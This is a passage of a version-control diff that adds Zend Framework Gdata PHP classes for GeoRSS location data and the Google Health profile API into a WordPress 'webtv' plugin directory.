+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Geo extends Zend_Gdata
+{
+
+    /**
+     * Namespaces used for Zend_Gdata_Geo
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('georss', 'http://www.georss.org/georss', 1, 0),
+        array('gml', 'http://www.opengis.net/gml', 1, 0)
+    );
+
+
+    /**
+     * Create Zend_Gdata_Geo object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google Apps servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Geo');
+        $this->registerPackage('Zend_Gdata_Geo_Extension');
+        parent::__construct($client, $applicationId);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Entry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Entry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Entry.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Geo
+ */
+require_once 'Zend/Gdata/Geo.php';
+
+/**
+ * @see Zend_Gdata_Geo_Extension_GeoRssWhere
+ */
+require_once 'Zend/Gdata/Geo/Extension/GeoRssWhere.php';
+
+/**
+ * An Atom entry containing Geograpic data.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Geo_Entry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Geo_Entry';
+
+    protected $_where = null;
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Geo::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_where != null) {
+            $element->appendChild($this->_where->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('georss') . ':' . 'where':
+            $where = new Zend_Gdata_Geo_Extension_GeoRssWhere();
+            $where->transferFromDOM($child);
+            $this->_where = $where;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    public function getWhere()
+    {
+        return $this->_where;
+    }
+
+    public function setWhere($value)
+    {
+        $this->_where = $value;
+        return $this;
+    }
+
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GeoRssWhere.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GeoRssWhere.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GeoRssWhere.php	(revision 44)
@@ -0,0 +1,134 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Geo
+ */
+require_once 'Zend/Gdata/Geo.php';
+
+/**
+ * @see Zend_Gdata_Geo_Extension_GmlPoint
+ */
+require_once 'Zend/Gdata/Geo/Extension/GmlPoint.php';
+
+
+/**
+ * Represents the georss:where element used by the Gdata Geo extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Geo_Extension_GeoRssWhere extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'georss';
+    protected $_rootElement = 'where';
+
+    /**
+     * The point location for this geo element
+     *
+     * @var Zend_Gdata_Geo_Extension_GmlPoint
+     */
+    protected $_point = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param Zend_Gdata_Geo_Extension_GmlPoint $point (optional) Point to which
+     *          object should be initialized.
+     */
+    public function __construct($point = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Geo::$namespaces);
+        parent::__construct();
+        $this->setPoint($point);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_point !== null) {
+            $element->appendChild($this->_point->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gml') . ':' . 'Point';
+                $point = new Zend_Gdata_Geo_Extension_GmlPoint();
+                $point->transferFromDOM($child);
+                $this->_point = $point;
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's point attribute.
+     *
+     * @see setPoint
+     * @return Zend_Gdata_Geo_Extension_GmlPoint The requested attribute.
+     */
+    public function getPoint()
+    {
+        return $this->_point;
+    }
+
+    /**
+     * Set the value for this element's point attribute.
+     *
+     * @param Zend_Gdata_Geo_Extension_GmlPoint $value The desired value for this attribute.
+     * @return Zend_Gdata_Geo_Extension_GeoRssWhere Provides a fluent interface
+     */
+    public function setPoint($value)
+    {
+        $this->_point = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GmlPoint.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GmlPoint.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GmlPoint.php	(revision 44)
@@ -0,0 +1,135 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Geo
+ */
+require_once 'Zend/Gdata/Geo.php';
+
+/**
+ * @see Zend_Gdata_Geo_Extension_GmlPos
+ */
+require_once 'Zend/Gdata/Geo/Extension/GmlPos.php';
+
+
+/**
+ * Represents the gml:point element used by the Gdata Geo extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Geo_Extension_GmlPoint extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gml';
+    protected $_rootElement = 'Point';
+
+    /**
+     * The position represented by this GmlPoint
+     *
+     * @var Zend_Gdata_Geo_Extension_GmlPos
+     */
+    protected $_pos = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param Zend_Gdata_Geo_Extension_GmlPos $pos (optional) Pos to which this
+     *          object should be initialized.
+     */
+    public function __construct($pos = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Geo::$namespaces);
+        parent::__construct();
+        $this->setPos($pos);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_pos !== null) {
+            $element->appendChild($this->_pos->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gml') . ':' . 'pos';
+                $pos = new Zend_Gdata_Geo_Extension_GmlPos();
+                $pos->transferFromDOM($child);
+                $this->_pos = $pos;
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's pos attribute.
+     *
+     * @see setPos
+     * @return Zend_Gdata_Geo_Extension_GmlPos The requested attribute.
+     */
+    public function getPos()
+    {
+        return $this->_pos;
+    }
+
+    /**
+     * Set the value for this element's distance attribute.
+     *
+     * @param Zend_Gdata_Geo_Extension_GmlPos $value The desired value for this attribute
+     * @return Zend_Gdata_Geo_Extension_GmlPoint Provides a fluent interface
+     */
+    public function setPos($value)
+    {
+        $this->_pos = $value;
+        return $this;
+    }
+
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GmlPos.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GmlPos.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Extension/GmlPos.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Geo
+ */
+require_once 'Zend/Gdata/Geo.php';
+
+/**
+ * Represents the gml:pos element used by the Gdata Geo extensions.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Geo_Extension_GmlPos extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gml';
+    protected $_rootElement = 'pos';
+
+    /**
+     * Constructs a new Zend_Gdata_Geo_Extension_GmlPos object.
+     *
+     * @param string $text (optional) The value to use for this element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Geo::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Geo/Feed.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_eed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Geo
+ */
+require_once 'Zend/Gdata/Geo.php';
+
+/**
+ * @see Zend_Gdata_Geo_Entry
+ */
+require_once 'Zend/Gdata/Geo/Entry.php';
+
+/**
+ * Feed for Gdata Geographic data entries.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Geo
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Geo_Feed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Geo_Entry';
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Geo::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health.php	(revision 44)
@@ -0,0 +1,273 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_Health_ProfileFeed
+ */
+require_once 'Zend/Gdata/Health/ProfileFeed.php';
+
+/**
+ * @see Zend_Gdata_Health_ProfileListFeed
+ */
+require_once 'Zend/Gdata/Health/ProfileListFeed.php';
+
+/**
+ * @see Zend_Gdata_Health_ProfileListEntry
+ */
+require_once 'Zend/Gdata/Health/ProfileListEntry.php';
+
+/**
+ * @see Zend_Gdata_Health_ProfileEntry
+ */
+require_once 'Zend/Gdata/Health/ProfileEntry.php';
+
+/**
+ * Service class for interacting with the Google Health Data API
+ *
+ * @link http://code.google.com/apis/health
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Health extends Zend_Gdata
+{
+    /**
+     * URIs of the AuthSub/OAuth feeds.
+     */
+    const AUTHSUB_PROFILE_FEED_URI = 
+        'https://www.google.com/health/feeds/profile/default';
+    const AUTHSUB_REGISTER_FEED_URI = 
+        'https://www.google.com/health/feeds/register/default';
+
+    /**
+     * URIs of the ClientLogin feeds.
+     */
+    const CLIENTLOGIN_PROFILELIST_FEED_URI = 
+        'https://www.google.com/health/feeds/profile/list';
+    const CLIENTLOGIN_PROFILE_FEED_URI = 
+        'https://www.google.com/health/feeds/profile/ui';
+    const CLIENTLOGIN_REGISTER_FEED_URI = 
+        'https://www.google.com/health/feeds/register/ui';
+
+    /**
+     * Authentication service names for Google Health and the H9 Sandbox.
+     */
+    const HEALTH_SERVICE_NAME = 'health';
+    const H9_SANDBOX_SERVICE_NAME = 'weaver';
+
+    /**
+     * Profile ID used for all API interactions.  This can only be set when
+     * using ClientLogin for authentication.
+     *
+     * @var string
+     */
+    private $_profileID = null;
+
+    /**
+     * True if API calls should be made to the H9 developer sandbox at /h9
+     * rather than /health
+     *
+     * @var bool
+     */
+    private $_useH9Sandbox = false;
+
+    public static $namespaces =
+        array('ccr' => 'urn:astm-org:CCR',
+              'batch' => 'http://schemas.google.com/gdata/batch',
+              'h9m' => 'http://schemas.google.com/health/metadata',
+              'gAcl' => 'http://schemas.google.com/acl/2007',
+              'gd' => 'http://schemas.google.com/g/2005');
+
+    /**
+     * Create Zend_Gdata_Health object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *     when communicating with the Google Health servers.
+     * @param string $applicationId The identity of the application in the form
+     *     of Company-AppName-Version
+     * @param bool $useH9Sandbox True if the H9 Developer's Sandbox should be
+     *     used instead of production Google Health.
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0', $useH9Sandbox = false)
+    {
+        $this->registerPackage('Zend_Gdata_Health');
+        $this->registerPackage('Zend_Gdata_Health_Extension_Ccr');
+        parent::__construct($client, $applicationId);
+        $this->_useH9Sandbox = $useH9Sandbox;
+    }
+
+    /**
+     * Gets the id of the user's profile
+     *
+     * @return string The profile id
+     */
+    public function getProfileID()
+    {
+        return $this->_profileID;
+    }
+
+    /**
+     * Sets which of the user's profiles will be used
+     *
+     * @param string $id The profile ID
+     * @return Zend_Gdata_Health Provides a fluent interface
+     */
+    public function setProfileID($id) {
+        $this->_profileID = $id;
+        return $this;
+    }
+
+     /**
+     * Retrieves the list of profiles associated with the user's ClientLogin
+     * credentials.
+     *
+     * @param string $query The query of the feed as a URL or Query object
+     * @return Zend_Gdata_Feed
+     */
+    public function getHealthProfileListFeed($query = null)
+    {
+        if ($this->_httpClient->getClientLoginToken() === null) {
+            require_once 'Zend/Gdata/App/AuthException.php';
+            throw new Zend_Gdata_App_AuthException(
+                'Profiles list feed is only available when using ClientLogin');
+        }
+
+        if($query === null)  {
+            $uri = self::CLIENTLOGIN_PROFILELIST_FEED_URI;
+        } else if ($query instanceof Zend_Gdata_Query) {
+            $uri = $query->getQueryUrl();
+        } else {
+            $uri = $query;
+        }
+
+        // use correct feed for /h9 or /health
+        if ($this->_useH9Sandbox) {
+            $uri = preg_replace('/\/health\//', '/h9/', $uri);
+        }
+
+        return parent::getFeed($uri, 'Zend_Gdata_Health_ProfileListFeed');
+    }
+
+    /**
+     * Retrieve a user's profile as a feed object.  If ClientLogin is used, the
+     * profile associated with $this->_profileID is returned, otherwise
+     * the profile associated with the AuthSub token is read.
+     *
+     * @param mixed $query The query for the feed, as a URL or Query
+     * @return Zend_Gdata_Health_ProfileFeed
+     */
+    public function getHealthProfileFeed($query = null)
+    {
+        if ($this->_httpClient->getClientLoginToken() !== null &&
+            $this->getProfileID() == null) {
+            require_once 'Zend/Gdata/App/AuthException.php';
+            throw new Zend_Gdata_App_AuthException(
+                'Profile ID must not be null. Did you call setProfileID()?');
+        }
+
+        if ($query instanceof Zend_Gdata_Query) {
+            $uri = $query->getQueryUrl();
+        } else if ($this->_httpClient->getClientLoginToken() !== null &&
+                   $query == null) {
+            $uri = self::CLIENTLOGIN_PROFILE_FEED_URI . '/' . $this->getProfileID();
+        } else if ($query === null) {
+            $uri = self::AUTHSUB_PROFILE_FEED_URI;
+        } else {
+            $uri = $query;
+        }
+
+        // use correct feed for /h9 or /health
+        if ($this->_useH9Sandbox) {
+            $uri = preg_replace('/\/health\//', '/h9/', $uri);
+        }
+
+        return parent::getFeed($uri, 'Zend_Gdata_Health_ProfileFeed');
+    }
+
+    /**
+     * Retrieve a profile entry object
+     *
+     * @param mixed $query The query for the feed, as a URL or Query
+     * @return Zend_Gdata_Health_ProfileEntry
+     */
+    public function getHealthProfileEntry($query = null)
+    {
+        if ($query === null) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                'Query must not be null');
+        } else if ($query instanceof Zend_Gdata_Query) {
+            $uri = $query->getQueryUrl();
+        } else {
+            $uri = $query;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Health_ProfileEntry');
+    }
+
+    /**
+     * Posts a new notice using the register feed.  This function constructs
+     * the atom profile entry.
+     *
+     * @param string $subject The subject line of the notice
+     * @param string $body The message body of the notice
+     * @param string $bodyType The (optional) type of message body
+     *     (text, xhtml, html, etc.)
+     * @param string $ccrXML The (optional) CCR to add to the user's profile
+     * @return Zend_Gdata_Health_ProfileEntry
+     */
+    public function sendHealthNotice($subject, $body, $bodyType = null, $ccrXML = null)
+    {
+        if ($this->_httpClient->getClientLoginToken()) {
+            $profileID = $this->getProfileID();
+            if ($profileID !== null) {
+                $uri = self::CLIENTLOGIN_REGISTER_FEED_URI . '/' . $profileID;
+            } else {
+                require_once 'Zend/Gdata/App/AuthException.php';
+                throw new Zend_Gdata_App_AuthException(
+                    'Profile ID must not be null. Did you call setProfileID()?');
+            }
+        } else {
+            $uri = self::AUTHSUB_REGISTER_FEED_URI;
+        }
+
+        $entry = new Zend_Gdata_Health_ProfileEntry();
+        $entry->title = $this->newTitle($subject);
+        $entry->content = $this->newContent($body);
+        $entry->content->type = $bodyType ? $bodyType : 'text';
+        $entry->setCcr($ccrXML);
+
+        // use correct feed for /h9 or /health
+        if ($this->_useH9Sandbox) {
+            $uri = preg_replace('/\/health\//', '/h9/', $uri);
+        }
+
+        return $this->insertEntry($entry, $uri, 'Zend_Gdata_Health_ProfileEntry');
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/Extension/Ccr.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/Extension/Ccr.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/Extension/Ccr.php	(revision 44)
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Ccr.php 13522 2009-01-06 16:35:55Z thomas $
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Element
+ */
+require_once 'Zend/Gdata/App/Extension/Element.php';
+
+/**
+ * Concrete class for working with CCR elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Health_Extension_Ccr extends Zend_Gdata_App_Extension_Element
+{
+    protected $_rootNamespace = 'ccr';
+    protected $_rootElement = 'ContinuityOfCareRecord';
+    protected $_ccrDom = null;
+
+    /**
+     * Creates a Zend_Gdata_Health_Extension_Ccr entry, representing CCR data
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        foreach (Zend_Gdata_Health::$namespaces as $nsPrefix => $nsUri) {
+            $this->registerNamespace($nsPrefix, $nsUri);
+        }
+    }
+
+    /**
+     * Transfers each child and attribute into member variables.
+     * This is called when XML is received over the wire and the data
+     * model needs to be built to represent this XML.
+     *
+     * @param DOMNode $node The DOMNode that represents this object's data
+     */
+    public function transferFromDOM($node)
+    {
+        $this->_ccrDom = $node;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        if ($doc === null) {
+            $doc = new DOMDocument('1.0', 'utf-8');
+        }
+        $domElement = $doc->importNode($this->_ccrDom, true);
+        return $domElement;
+    }
+
+    /**
+     * Magic helper that allows drilling down and returning specific elements
+     * in the CCR. For example, to retrieve the users medications
+     * (/ContinuityOfCareRecord/Body/Medications) from the entry's CCR, call
+     * $entry->getCcr()->getMedications().  Similarly, getConditions() would
+     * return extract the user's conditions.
+     *
+     * @param string $name Name of the function to call
+     * @return array.<DOMElement> A list of the appropriate CCR data
+     */
+    public function __call($name, $args)
+    {
+        $matches = array();
+
+        if (substr($name, 0, 3) === 'get') {
+            $category = substr($name, 3);
+
+            switch ($category) {
+                case 'Conditions':
+                    $category = 'Problems';
+                    break;
+                case 'Allergies':
+                    $category = 'Alerts';
+                    break;
+                case 'TestResults':
+                    // TestResults is an alias for LabResults
+                case 'LabResults':
+                    $category = 'Results';
+                    break;
+                default:
+                    // $category is already well formatted
+            }
+
+            return $this->_ccrDom->getElementsByTagNameNS($this->lookupNamespace('ccr'), $category);
+        } else {
+            return null;
+        }
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Health/ProfileEntry.php	(revision 44)
@@ -0,0 +1,134 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Health_Extension_Ccr
+ */
+require_once 'Zend/Gdata/Health/Extension/Ccr.php';
+
+/**
+ * Concrete class for working with Health profile entries.
+ *
+ * @link http://code.google.com/apis/health/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Health
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Health_ProfileEntry extends Zend_Gdata_Entry
+{
+    /**
+     * The classname for individual profile entry elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Health_ProfileEntry';
+
+    /**
+     * Google Health CCR data
+     *
+     * @var Zend_Gdata_Health_Extension_Ccr
+     */
+    protected $_ccrData = null;
+    
+    /**
+     * Constructs a new Zend_Gdata_Health_ProfileEntry object.
